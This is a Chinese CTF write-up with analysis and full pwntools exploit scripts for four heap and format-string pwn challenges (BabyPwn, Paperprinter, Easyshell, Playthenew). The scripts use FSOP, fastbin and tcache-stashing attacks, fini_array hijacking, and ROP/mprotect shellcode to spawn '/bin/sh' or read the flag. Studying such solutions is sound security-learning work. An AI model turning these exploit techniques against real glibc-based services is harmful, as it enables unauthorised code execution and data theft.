题目链接
BabyPwn 分析 首先我们看一下程序,程序提供了三种操作add, throw_out,show,操作的结构是member,describe是依据用户输入的大小所分配的堆空间,但是输入的大小最大是0x40,即堆块最大为0x50
漏洞函数位于add中读取字符串的函数
注意到length的类型为int,因此存在堆溢出漏洞。
利用 有两种利用的方式
方式1 整体思路为通过unsorted bin泄露libc地址,FSOP进行getshell
释放两个相同大小的chunk,申请chunk的时候将size设置为1,这样就不会读取内容,从而泄露出堆地址
通过堆溢出伪造chunk,大小为连续申请的几个chunk和,使其释放时进入unsorted bin中,从而获取libc基址
堆溢出覆写unsorted bin的fd,bk指针,伪造IO_FILE,采用FSOP进行getshell
首先泄露heap的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 add_member("12112" , 0x10 , "0" ) add_member("12112" , 0x10 , "1" ) add_member("12112" , 0x40 , "2" ) add_member("12112" , 0x40 , "3" ) add_member("12112" , 0x40 , "4" ) add_member("12112" , 0x40 , "5" ) throw_out(1 ) throw_out(0 ) add_member("1212" , 0x1 , "a" ) show_member(0 ) p.recvuntil("Description:" ) heap_address = u64(p.recvline().strip("\n" ).ljust(8 , "\x00" )) print "heap address" , hex (heap_address)
释放完第1,0个chunk的时候,堆的地址就写到了index=0的堆块中,此时打印第0块就可以得到heap address。
1 2 3 4 5 6 7 add_member("1212" , 0x0 , p64(0 )*3 + p64(0xf1 )) throw_out(2 ) add_member("1212" , 0x40 , "12" ) show_member(3 ) p.recvuntil("Description:" ) libc.address = u64(p.recvline().strip().ljust(8 , "\x00" )) - 88 - 0x10 - libc.symbols['__malloc_hook' ] print "libc address" , hex (libc.address)
接着是伪造unsorted bin chunk。我们将chunk的大小设置为0xf1即连续申请的三个0x40的堆块的大小之和,此时不用伪造上下两个chunk。释放之后重新申请一个大小为0x50的堆块,index=3的member恰好就指向了main_arena+88的存储位置,获得lib address。
1 2 3 4 5 6 7 8 9 10 11 12 13 throw_out(1 ) vtable = p64(0 )*3 + p64(libc.symbols['system' ]) vtable_address = heap_address + 0x20 + 0x50 + 0xe0 payload = p64(0 )*3 + p64(0x51 ) + p64(0 )*8 payload += "/bin/sh\x00" + p64(0x61 ) + p64(0 ) + p64(libc.symbols['_IO_list_all' ] - 0x10 ) + p64(2 ) + p64(3 ) payload += p64(0 )*21 + p64(vtable_address) payload += vtable add_member("1212" , 0x0 , payload) p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (1 )) p.interactive()
FSOP的利用可以参考pwnable.tw的bookwrite 。这里简单介绍一下就是,由于我们修改了unsorted bin的bk指针,导致程序认为unsorted bin的堆块大于1个,此时若申请的大小与unsorted bin大小不同,就会将当前处理的unsorted bin的堆块放入small bin中。并进行类似于unlink的操作bck->fd = unsorted_chunks (av);,就会在我们制定的位置+0x10字节处写入main_arena+88的地址。如果我们将bk指针写为_IO_list_all-0x10的地址,就能覆写IO_list_all指针为main_arena+88。
由于我们改写的bk指针不合法,因此会打印错误信息,此时会对每个FILE结构体进行fflush操作,调用_IO_overflow函数。FILE结构体的依次处理主要依靠的是_chain指针,当我们将IO_list_all指针为main_arena+88,其_chain成员变量位于main_arena+184位置即smallbin[5],chunk大小为0x61。如果我们将unsorted bin的大小设置为0x61,那么_chain将指向我们可控的堆块(unsorted bin)。
在堆块中伪造IO_FILE和vtable,将IO_overflow指针伪造为system地址,将IO_FILE头部写入/bin/sh\x00即可以调用system('/bin/sh')。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *context.log_level = "debug" elf = ELF("./pwn" ) debug = 1 if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x555555555090\n" ) libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('127.0.0.1' , 10005 ) libc = ELF('./libc.so' ) one_gadget = 0x0 def add_member (name, des_size, des ): p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (des_size)) p.sendlineafter("Description:" , des) def show_member (index ): p.sendlineafter("your choice:" , "3" ) p.sendlineafter("index:" , str (index)) def throw_out (index ): p.sendlineafter("your choice:" , "2" ) p.sendlineafter("index:" , str (index)) def member_exit (): p.sendlineafter("your choice:" , "4" ) add_member("12112" , 0x10 , "0" ) add_member("12112" , 0x10 , "1" ) add_member("12112" , 0x40 , "2" ) add_member("12112" , 0x40 , "3" ) add_member("12112" , 0x40 , "4" ) add_member("12112" , 0x40 , "5" ) throw_out(1 ) throw_out(0 ) add_member("1212" , 0x1 , "a" ) show_member(0 ) p.recvuntil("Description:" ) heap_address = u64(p.recvline().strip("\n" ).ljust(8 , "\x00" )) print "heap address" , hex (heap_address)add_member("1212" , 0x0 , p64(0 )*3 + p64(0xf1 )) throw_out(2 ) add_member("1212" , 0x40 , "12" ) show_member(3 ) p.recvuntil("Description:" ) libc.address = u64(p.recvline().strip().ljust(8 , "\x00" )) - 88 - 0x10 - libc.symbols['__malloc_hook' ] print "libc address" , hex (libc.address)throw_out(1 ) vtable = p64(0 )*3 + p64(libc.symbols['system' ]) vtable_address = heap_address + 0x20 + 0x50 + 0xe0 payload = p64(0 )*3 + p64(0x51 ) + p64(0 )*8 payload += "/bin/sh\x00" + p64(0x61 ) + p64(0 ) + p64(libc.symbols['_IO_list_all' ] - 0x10 ) + p64(2 ) + p64(3 ) payload += p64(0 )*21 + p64(vtable_address) payload += vtable add_member("1212" , 0x0 , payload) p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (1 )) p.interactive()
方式2 这种方法在这个比赛中不能使用
伪造unsorted bin泄露libc基址,通方式1相同,在伪造unsorted bin的时候会构造出堆重叠
double free进行fastbin attack。但是这里最大分配的chunk为0x50。由于程序开启了随机化,因此堆地址的开始为0x55或0x56,因此我们转换一下,将chunk分配在main_arena+37位置处(main_arena+40处存储fastbin[4]起始,即大小为0x60的堆块的地址)。参考HSCTF2019 heard_heap
这里需要注意的是由于我们需要覆写之后的top chunk地址,而且有0x40大小可写区域的限制,因此只能选择main_arena+40处进行分配,因此我们需要再次释放一个大小为0x60的堆块。
在分配之后我们需要绕过一些检查
1 2 assert (!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim)));
因此我们需要等待堆地址为0x56起始时才可以成功分配
分配完成之后,覆写之后位于main_arena+88处的top chunk地址。将top chunk地址覆写为malloc_hook-0x23处的地址,这样就可以分配到malloc_hook的堆块了。覆写one_gadget。
在one_gadget都无法使用的时候可以考虑将malloc_hook的地址填写为realloc+n的地址,进行平衡栈帧,构造one_gadget生效的条件,realloc_hook位置(main_arena-0x18)填写gadget地址。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *context.log_level = "debug" elf = ELF("./pwn" ) debug = 1 if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x555555555090\n" ) libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0xcb7e5 else : p = remote('' , 0 ) libc = ELF('./libc.so' ) one_gadget = 0x0 def add_member (name, des_size, des ): p.sendlineafter("your choice:" , "1" ) p.sendlineafter("name:" , name) p.sendlineafter("size:" , str (des_size)) p.sendlineafter("Description:" , des) def show_member (index ): p.sendlineafter("your choice:" , "3" ) p.sendlineafter("index:" , str (index)) def throw_out (index ): p.sendlineafter("your choice:" , "2" ) p.sendlineafter("index:" , str (index)) def member_exit (): p.sendlineafter("your choice:" , "4" ) def exp (): add_member("12112" , 0x10 , "0" ) add_member("12112" , 0x10 , "1" ) add_member("12112" , 0x40 , "2" ) add_member("12112" , 0x40 , "3" ) add_member("12112" , 0x40 , "4" ) throw_out(1 ) add_member("12112" , 0x0 , p64(0 )*3 + p64(0xa1 )) throw_out(2 ) add_member("12112" , 0x40 , "a" *0x8 ) show_member(3 ) p.recvuntil("Description:" ) libc.address = u64(p.readline().strip("\n" ).ljust(8 ,"\x00" )) - 88 - 0x10 - libc.symbols['__malloc_hook' ] malloc_hook_address = libc.symbols['__malloc_hook' ] main_arean_address = malloc_hook_address + 0x10 print "libc address" , hex (libc.address) add_member("1212" , 0x40 , "1" ) throw_out(1 ) add_member("12112" , 0x0 , p64(0 )*3 + p64(0x61 ) + p64(0 )*8 + p64(0 ) + p64(0x51 ) + p64(0 ) + p64(41 )) throw_out(2 ) throw_out(3 ) throw_out(4 ) throw_out(5 ) fake_chunk_address = main_arean_address - 0x13 + 0x38 add_member("12112" , 0x40 , p64(fake_chunk_address)) add_member("12112" , 0x40 , "4" *0x8 ) add_member("12112" , 0x40 , p64(fake_chunk_address)) add_member("12112" , 0x40 , "8" *3 + p64(0 )*4 + p64(malloc_hook_address - 0x23 )) throw_out(0 ) add_member("1212" , 0x40 , "a" *3 + p64(0 )*2 + p64(one_gadget + libc.address)) while True : try : exp() break except : p.close() p = process(['./pwn' ]) throw_out(2 ) throw_out(4 ) ''' p.sendlineafter("your choice:", "1") p.sendlineafter("name:", "2") p.sendlineafter("size:", str(0x20)) ''' p.interactive()
Paperprinter 分析 首先我们看一下程序,该题目与*ctf heap_master 有些类似,都是先mmap一块0x1000大小的内存,然后可以对该内存区域进行编辑和释放add,delete。在该题目中共存在两次malloc,一次是print中的malloc(0x138),另一次是exit中的strdup。这与heap_master中的任意malloc不同。
程序在一开始给输出了sleep的一个地址,根据此地址我们可以推算出libc address的后5个值,倒数第六个地址只能靠碰撞了(因为_IO_list_all的偏移地址为6位数)。
这样我们就相当于得到了libc的地址。而目前我们可以任意释放内存。通过unsorted bin attack覆盖_IO_list_all地址为main_arean+88,之后释放大小为0x60大小的堆块,使得_chain指向该堆块。在0x60大小的堆块中布局fake_FILE结构体。vtable的地址可以通过堆块的bk指针来进行伪造。
利用
根据输出的sleep的部分地址推算出libc地址的后6位。
将mmap的内存地址改写为0x90(chunk1)-0x30-0x90(chunk2)-0x30-0x90(chunk3)-0x30-0x140(chunk4)-0x30-0x30的堆内存布局
依次释放chunk2,chunk3,chunk4,此时形成的unsorted bin链表如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 0x602ab0c0: 0x0000000000000000 0x0000000000000091 << chunk2 freed 0x602ab0d0: 0x00007ffff7dd5b78 0x00000000602ab180 << chunk2_bk = chunk3 ... 0x602ab150: 0x0000000000000090 0x0000000000000030 << padding chunk 0x602ab160: 0x0000000000000000 0x0000000000000000 0x602ab170: 0x0000000000000000 0x0000000000000000 0x602ab180: 0x0000000000000000 0x0000000000000091 << chunk3 freed 0x602ab190: 0x00000000602ab0c0 0x00000000602ab240 << chunk3_bk = chunk4 ... 0x602ab210: 0x0000000000000090 0x0000000000000030 << padding chunk 0x602ab220: 0x0000000000000000 0x0000000000000000 0x602ab230: 0x0000000000000000 0x0000000000000000 0x602ab240: 0x0000000000000000 0x0000000000000141 << chunk4 freed 0x602ab250: 0x00000000602ab180 0x00007ffff7dd5b78 << main_arena+88 ... 0x602ab380: 0x0000000000000140 0x0000000000000030 << padding chunk 0x602ab390: 0x0000000000000000 0x0000000000000000 0x602ab3a0: 0x0000000000000000 0x0000000000000000 0x602ab3b0: 0x0000000000000000 0x0000000000000031
为了之后能够调用strdup,这里我们需要malloc(0x138)即申请0x140大小的堆块,此时chunk4被申请。而chunk2,chunk3被移入small bin数组中。chunk2的fd指针和chunk3的bk指针指向main_arean+216即small_bin[7]的位置。
覆写chunk3的bk指针的后3个字节为system地址,那么chunk3即为伪造的vtable。而chunk2的bk指针指向chunk3,即mmap_address+0xd8的位置指向vtable。我们即在chunk1中伪造IO_FILE
将chunk1构造为如下
1 2 3 4 5 6 7 8 9 10 0x602ab000: 0x0068732f6e69622f 0x0000000000000061 << smallbin[0x60] 0x602ab010: 0x0000000000000000 0x00007ffff7dd6510 << IO_list_all-0x10 0x602ab020: 0x0000000000000002 0x0000000000000003 0x602ab030: 0x0000000000000000 0x0000000000000000 0x602ab040: 0x0000000000000000 0x0000000000000000 0x602ab050: 0x0000000000000000 0x0000000000000000 0x602ab060: 0x0000000000000000 0x0000000000000000 0x602ab070: 0x0000000000000000 0x0000000000000000 0x602ab080: 0x0000000000000000 0x0000000000000000 0x602ab090: 0x0000000000000090 0x0000000000000030
在调用strdup函数的时候会将chunk1放入到small bin数组中。发生unsorted bin attack。_IO_list_all被改写为main_arena+88的地址。
而_chain对应的main_arena+184的位置即为smallbin[4]=0x60的位置,而此时chunk1被放入smallbin[4]中,即_chain指向了chunk1。后malloc由于我们改写的bk指针而出错,即刷新所有的FILE结构体。从而调用vtable-_IO_overflow即system。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *context.log_level = "debug" elf = ELF("./pwn" ) debug = 1 if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x555555554E84\n" ) libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def edit (offset, content ): p.sendlineafter("choice:" , "1" ) p.sendlineafter("offset :" , str (offset)) p.sendlineafter("length :" , str (len (content))) p.sendafter("content :" , content) def delete (offset ): p.sendlineafter("choice:" , "2" ) p.sendlineafter("offset :" , str (offset)) def printpaper (): p.sendlineafter("choice:" , "3" ) def exitpaper (): p.sendlineafter("choice:" , "4" ) def exp (): p.recvuntil("0x" ) libc_base = int (p.recvline().strip("\n" ), 16 ) libc_base -= (libc.sym['sleep' ] >> 8 ) libc_base = (libc_base<<8 )+0xa00000 system_address = libc_base + libc.sym['system' ] io_list_all_address = libc_base + libc.sym['_IO_list_all' ] print "libc base address" , hex (libc_base) print "system address" , hex (system_address) print "io_list_all address" , hex (io_list_all_address) offset = 0 edit(offset, p64(0 )+p64(0x91 )) edit(offset+0x90 , p64(0 )+p64(0x31 )) edit(offset+0x90 +0x30 ,p64(0 ) + p64(0x91 )) edit(offset+0x90 +0x30 +0x90 , p64(0 )+p64(0x31 )) edit(offset+0x90 +0x30 +0x90 +0x30 , p64(0 )+p64(0x91 )) edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 , p64(0 )+p64(0x31 )) edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 , p64(0 )+p64(0x141 )) edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x140 , p64(0 )+p64(0x31 )) edit(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x140 +0x30 , p64(0 )+p64(0x31 )) delete(offset+0x90 +0x30 +0x10 ) delete(offset+0x90 +0x30 +0x90 +0x30 +0x10 ) delete(offset+0x90 +0x30 +0x90 +0x30 +0x90 +0x30 +0x10 ) printpaper() edit(offset+0x90 +0x30 +0x90 +0x30 +0x18 , p64(system_address)[:3 ]) edit(offset+0x90 +0x30 +0x90 +0x30 , p64(0 )*3 ) delete(offset+0x10 ) edit(offset+0x20 , p64(2 )+p64(3 )) edit(offset+0x18 , p64(io_list_all_address-0x10 )[:3 ]) edit(offset, "/bin/sh\x00" +p64(0x61 )+p64(0 )) exitpaper() while True : try : exp() p.interactive() p.close() except : p.close() if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x555555554E84\n" ) libc = ELF('/home/pwn/Desktop/windowsDisk/glibc/x64/glibc-2.23/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0
Easyshell 分析 首先我们运行一下程序,程序采用静态编译,实现了一个返回用户输入的功能。这里存在格式化字符串漏洞。
由于函数是静态编译的,因此在函数执行_exit调用__run_exit_handlers函数,遍历fini.array数组的时候,rbp会被改写为__exit_funcs的地址。
我们可以利用格式化字符串漏洞,改写fini.array数组为[init, main(leave,ret)]的指令,那么在程序退出的时候回首先执行fini.array[2],此时已经发生了栈迁移,我们即可进行ROP
这里需要注意的是每次gets只能读取0xc0大小的空间。因此我们需要两次重新读取数据。而且会遇到\n截断,pop rdi需要用另一个gadget。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 from pwn import *context.log_level = "debug" context.arch = "amd64" elf = ELF("./pwn" ) debug = 1 if debug: p = process(['./pwn' ]) gdb.attach(p, "b *0x400dde\n" ) else : p = remote('' , 0 ) rbp = 0x6ed0c0 fini_array_address = 0x00000000006d6828 init_address = 0x40aba0 main_leave_ret = 0x400dfc p_rdi_r = 0x401f0a p_rdi_rbp_r = 0x40b74a p_rsi_r = 0x4014a4 p_rdx_rsi_r = 0x44c499 p_rcx_r = 0x42142b p_rax_rdx_rbx_r = 0x482286 gets_address = 0x400DC0 syscall = 0x471115 payload = "%{}c%23$hn" .format (str (init_address & 0xffff )) payload += "%{}c%24$hn" .format (str (0xffff & ((main_leave_ret & 0xffff ) - (init_address & 0xffff )))) payload += "%{}c%25$hn" .format (str (0xffff & ((p_rdi_r & 0xffff ) - (main_leave_ret & 0xffff )))) payload += "%{}c%26$hn" .format (str (0xffff & (((p_rdi_r >> 16 ) & 0xffff ) - (p_rdi_r & 0xffff )))) payload += "%{}c%27$hn" .format (str (0xffff & (((rbp + 0x10 ) & 0xffff ) - ((p_rdi_r >> 16 ) & 0xffff )))) payload += "%{}c%28$hn" .format (str (0xffff & ((((rbp + 0x10 ) >> 16 ) & 0xffff ) - ((rbp + 0x10 ) & 0xffff )))) payload += "%{}c%29$hn" .format (str (0xffff & ((gets_address & 0xffff ) - ((rbp + 0x10 ) >> 16 ) & 0xffff ))) payload += "%{}c%30$hn" .format (str (0xffff & (((gets_address >> 16 ) & 0xffff ) - (gets_address & 0xffff )))) payload = payload.ljust(0x70 , "a" ) payload += 'b' *8 payload += p64(fini_array_address) + p64(fini_array_address + 8 ) payload += p64(rbp+8 ) + p64(rbp+8 +2 ) + p64(rbp+0x10 ) + p64(rbp + 0x10 + 2 ) + p64(rbp + 0x18 ) + p64(rbp + 0x18 + 2 ) p.recvuntil("echo back.\n" ) p.sendline(payload) flag_address = rbp + 0x10 flag_read_address = 0x6ef910 rop2_rbp = 0x6ed178 or_rop = flat([ p_rdi_rbp_r, flag_address, 0 , p_rsi_r, 0x0 , p_rax_rdx_rbx_r, 2 , 0 , 0 , syscall, p_rdi_rbp_r, 0 , 0 , p_rsi_r, rop2_rbp, p_rax_rdx_rbx_r, 0 , 0x100 , 0 , syscall ]) p.recvuntil("b" *8 ) p.sendline("./flag\x00\x00" + or_rop) rw_rop = flat([ p_rdi_rbp_r, 3 , 0 , p_rsi_r, flag_read_address, p_rax_rdx_rbx_r, 0 , 0x100 , 0 , syscall, p_rdi_rbp_r, 1 , 0 , p_rsi_r, flag_read_address, p_rax_rdx_rbx_r, 1 , 0x100 , 0 , syscall ]) p.sendline(rw_rop) p.interactive()
Playthenew 分析 首先看一下程序,保护全开,libc版本是2.30。
程序首先在0x100000地址处mmap了一块大小为0x1000的内存。
程序提供了6中操作。(plt表错误,可以用cutter识别)
buy函数中使用calloc分配限定大小范围内的堆块。分配次数无限制但是只能存储5个堆块指针,保存在全局变量中0x5080中。throw函数释放堆块,但是没有将堆块指针置为空,存在UAF。show_dance则是输出函数。change改变堆块中存储的内容。若0x10000存储的内容不为0x42,则input_secret用来向0x100008地址处写入用户输入的数据,而call_global则调用0x100010处保存的函数指针,以0x100018处为参数。
由于libc版本为2.30存在tcache,而calloc分配是不经过tcache的,因此无法直接对tcache进行攻击。这里是用到的是tcache small bin attack(tcache stashing unlink attack)。即当请求的大小位于small bin范围中时,若相应大小的tcache未满,则将剩余的small bin放入到tcache中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 if (in_smallbin_range (nb)){ idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted" ); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0 ) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
tcache堆块的放入操作从small bin链表的尾部开始。因此如果我们修改了small bin表头指向的堆块的bk指针,就可以向*(bk+0x10)的地址处写入一个main_arean附近的地址。
这里我们可以将tcache提前填充到6,这样放入一块堆块之后就不会再放入了,也就解决了地址错误的导致的崩溃问题。
利用
首先将大小为0x160的tcache填满,大小为0xa0的tcache剩余一个位置。
此时申请0x160大小的堆块,再次释放则会进入small bin。由于我们需要两个small bin堆块。因此执行下列操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 buy(0 , 0x150 , "0" ) buy(1 , 0x150 , "0" ) buy(2 , 0x150 , "0" ) buy(3 , 0x150 , "0" ) throw_bas(0 ) show(0 ) p.recvuntil("the dance:" ) libc.address = u64(p.recvline().strip(b'\n' ).ljust(8 , b'\x00' )) - 96 - (libc.sym['__malloc_hook' ] + 0x10 ) log.success("libc address: {}" .format (hex (libc.address))) buy(1 , 0xb0 , "0" ) throw_bas(2 ) show(2 ) p.recvuntil("the dance:" ) heap_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) log.success("heap address: {}" .format (hex (heap_address))) buy(1 , 0xb0 , "0" ) buy(1 , 0xb0 , "0" ) change(2 , p64(0 )*int (0xb0 /0x8 ) + p64(0 ) + p64(0xa1 ) + p64(heap_address) + p64(0x100000 -0x10 )) buy(1 , 0x90 , "0" )
这样我们就将可以调用input_secret和call_global函数实现任意代码执行了。
这里采用的是调用puts函数利用environ变量泄露栈地址,修改puts执行完毕之后的返回地址,利用gadget调用mprotect函数关闭0x100000地址的不可执行保护,劫持函数栈到0x100000实现orw的调用。
也可以使用mov rbp, qword ptr [rdi + 0x48]; mov rax, qword ptr [rbp + 0x18]; lea r13, [rbp + 0x10]; mov dword ptr [rbp + 0x10], 0; mov rdi, r13; call qword ptr [rax + 0x28];此类的通过rdi 控制rbp,并实现call调用的gadget。将call调用设置为leave,ret实现栈迁移,调用orw,gadget链。
EXP python3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 from pwn import *file_path = "./pwn" context.arch = "amd64" context.log_level = "debug" elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b *0x55555555591D\n" ) libc = ELF('/home/pwn/Desktop/glibc/x64/glibc-2.30/lib/libc.so.6' ) one_gadget = 0x0 else : p = remote('' , 0 ) libc = ELF('' ) one_gadget = 0x0 def buy (index, size, content ): p.sendlineafter("> " , "1" ) p.sendlineafter("index:" , str (index)) p.sendlineafter("size of basketball:" , str (size)) p.sendafter("name:" , content) def throw_bas (index ): p.sendlineafter("> " , "2" ) p.sendlineafter("idx of basketball:" , str (index)) def show (index ): p.sendlineafter("> " , "3" ) p.sendlineafter("idx of basketball:" , str (index)) def change (index, content ): p.sendlineafter("> " , "4" ) p.sendlineafter("idx of basketball:" , str (index)) p.sendafter("dance of the basketball:" , content) def input_secret (secret ): p.sendlineafter("> " , "5" ) p.sendafter("Input the secret place:" , secret) def call_global (): p.sendlineafter("> " , str (0x666 )) for i in range (6 ): buy(0 , 0x90 , "0" ) throw_bas(0 ) for i in range (7 ): buy(0 , 0x150 , "0" ) throw_bas(0 ) log.success("filled tcache" ) buy(0 , 0x150 , "0" ) buy(1 , 0x150 , "0" ) buy(2 , 0x150 , "0" ) buy(3 , 0x150 , "0" ) throw_bas(0 ) show(0 ) p.recvuntil("the dance:" ) libc.address = u64(p.recvline().strip(b'\n' ).ljust(8 , b'\x00' )) - 96 - (libc.sym['__malloc_hook' ] + 0x10 ) log.success("libc address: {}" .format (hex (libc.address))) buy(1 , 0xb0 , "0" ) throw_bas(2 ) show(2 ) p.recvuntil("the dance:" ) heap_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) log.success("heap address: {}" .format (hex (heap_address))) buy(1 , 0xb0 , "0" ) buy(1 , 0xb0 , "0" ) change(2 , p64(0 )*int (0xb0 /0x8 ) + p64(0 ) + p64(0xa1 ) + p64(heap_address) + p64(0x100000 -0x10 )) buy(1 , 0x90 , "0" ) input_secret(p64(0 ) + p64(libc.sym['puts' ]) + p64(libc.sym['environ' ])) call_global() stack_address = u64(p.recvline().strip(b"\n" ).ljust(8 , b"\x00" )) - (0x7fffffffdf38 - 0x7fffffffde28 ) log.success("stack address: {}" .format (hex (stack_address))) orw = shellcraft.open ("./flag" ) orw += shellcraft.read("rax" , "rsp" , 0x100 ) orw += shellcraft.write(1 , "rsp" , 0x100 ) payload1 = p64(0 ) + p64(libc.sym['gets' ]) + p64(stack_address) + p64(0x100000 + 0x28 ) + asm(orw) input_secret(payload1) call_global() p_rdx_r12_r = libc.address + 0xf7fb1 p_rdi_r = libc.address + 0x267e2 p_rsi_r = libc.address + 0x26d07 p_rsp_r = libc.address + 0x26f8b mprotect_address = libc.sym['mprotect' ] payload2 = flat([ p_rdi_r, 0x100000 , p_rsi_r, 0x1000 , p_rdx_r12_r, 7 , 0 , mprotect_address, p_rsp_r, 0x100000 +0x20 ]) raw_input() p.sendline(payload2) p.interactive()